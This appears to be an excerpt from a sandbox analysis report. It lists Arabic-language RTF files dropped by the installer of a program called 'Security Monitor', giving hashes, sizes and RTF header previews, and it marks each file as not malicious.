C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-IFC14.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-KDVH2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-LH6K4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-PIKCP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-SFIBL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-T1N6N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-T6FS0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-V9N24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 